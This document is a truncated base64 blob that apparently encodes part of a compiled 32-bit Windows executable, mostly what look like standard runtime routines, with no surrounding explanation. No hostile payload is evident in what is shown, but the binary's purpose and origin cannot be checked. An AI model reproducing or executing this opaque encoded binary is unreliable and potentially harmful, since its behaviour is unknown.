wjPSK8H3941YAYP7CHcWVlf/tQj///9R6H3+//+DxBDptwIAANHrD6/fA9lTUYvOiZ3w/v///xUMyQsQ/9aDxAiFwH4QV1P/tfz+///o6P7//4PEDP+1CP///4vO/7X8/v///xUMyQsQ/9aDxAiFwH4VV/+1CP////+1/P7//+i2/v//g8QM/7UI////i85T/xUMyQsQ/9aDxAiFwH4QV/+1CP///1Pojv7//4PEDIuFCP///4v4i7X8/v//i5UE////iYXs/v//kDvedjcD8om19P7//zvzcyWLjQD///9TVv8VDMkLEP+VAP///4uVBP///4PECIXAftM73nc9i4UI////i70A////A/I78HcfU1aLz/8VDMkLEP/Xi5UE////g8QIhcCLhQj///9+24u97P7//4m19P7//4u1AP///+sGjZsAAAAAi5UE////K/o7+3YZU1eLzv8VDMkLEP/Wg8QIhcB/4YuVBP///4u19P7//4m97P7//zv+cl6Jlej+//+JveT+//8793Qzi96L14u16P7//yvfigKNUgGKTBP/iEQT/4hK/4PuAXXri7X0/v//i53w/v//i5UE////i4UI////O98Phfr+//+L3omd8P7//+nt/v//A/o733MyjaQkAAAAACv6O/t2JYuNAP///1NX/xUMyQsQ/5UA////i5UE////g8QIhcB02Tvfci+LtQD///8r+ju9/P7//3YZU1eLzv8VDMkLEP/Wi5UE////g8QIhcB03Yu19P7//4uVCP///4vHi538/v//i8orzivDO8F8OTvfcxiLhfj+//+JnIUM////iXyFhECJhfj+//+LvQT///878nNMi86LtQD///+Jjfz+///pav3//zvycxiLhfj+//+JtIUM////iVSFhECJhfj+//+Ljfz+//+LtQD///87z3MVi9eLvQT////pK/3//4u1AP///+sGi70E////i4X4/v//g+gBiYX4/v//eBaLjIUM////i1SFhImN/P7//+n2/P//W4tN/F8zzV7ob3n+/4vlXcOL/1WL7FGLVRSLTQhWhdJ1DYXJdQ05TQx1ITPA6y6FyXQZi0UMhcB0EoXSdQSIEevpi3UQhfZ1GcYBAOj0cP//ahZeiTDos23//4vGXovlXcNTK/GL2FeL+YP6/3URigQ+iAdHhMB0JYPrAXXx6x6K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AwAA609mDxIV8BsMEPIPXtBmDxINIBwMELoIAAAA6zRmDxINEBwMEPIPWcG6zP///+kX/v//g8EBgeH/BwAAgfn/BwAAczpmD1fJ8g9eyboJAAAAg+wcZg8TTCQQiVQkDIvUg8IQiVQkCIPCEIlUJASJFCToJAYAAN1EJBCDxBzDZg8SVCQEZg8SRCQEZg9+0GYPc9IgZg9+0YHh//8PAAvBg/gAdKC66QMAAOumjaQkAAAAAOsDzMzMxoVw/////grtdTvZydnx6w3GhXD////+Mu3Z6t7J6CsBAADZ6N7B9oVh////AXQE2eje8fbCQHUC2f0K7XQC2eDpsgIAAOhGAQAAC8B0FDLtg/gCdAL21dnJ2eHrr+m1AgAA6UsDAADd2N3Y2y2AHAwQxoVw////AsPZ7dnJ2eSb3b1g////m/aFYf///0F10tnxw8aFcP///wLd2NstihwMEMMKyXVTw9ns6wLZ7dnJCsl1rtnxw+lbAgAA6M8AAADd2N3YCsl1Dtnug/gBdQYK7XQC2eDDxoVw////AtstgBwMEIP4AXXtCu106dng6+Xd2OkNAgAA3djptQIAAFjZ5JvdvWD///+b9oVh////AXUP3djbLYAcDBAK7XQC2eDDxoVw////BOnXAQAA3djd2NstgBwMEMaFcP///wPDCsl1r93Y2y2AHAwQw9nA2eHbLZ4cDBDe2ZvdvWD///+b9oVh////QXWV2cDZ/Nnkm929YP///5uKlWH////Zydjh2eSb3b1g////2eHZ8MPZwNn82Nmb3+CedRrZwNwNshwMENnA2fze2Zvf4J50DbgBAAAAw7gAAAAA6/i4AgAAAOvxVoPsdIv0VoPsCN0cJIPsCN0cJJvddgjo6QcAAIPEFN1mCN0Gg8R0XoXAdAXp0AEAAMPMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////uw4dDBDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7sOHQwQ2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWK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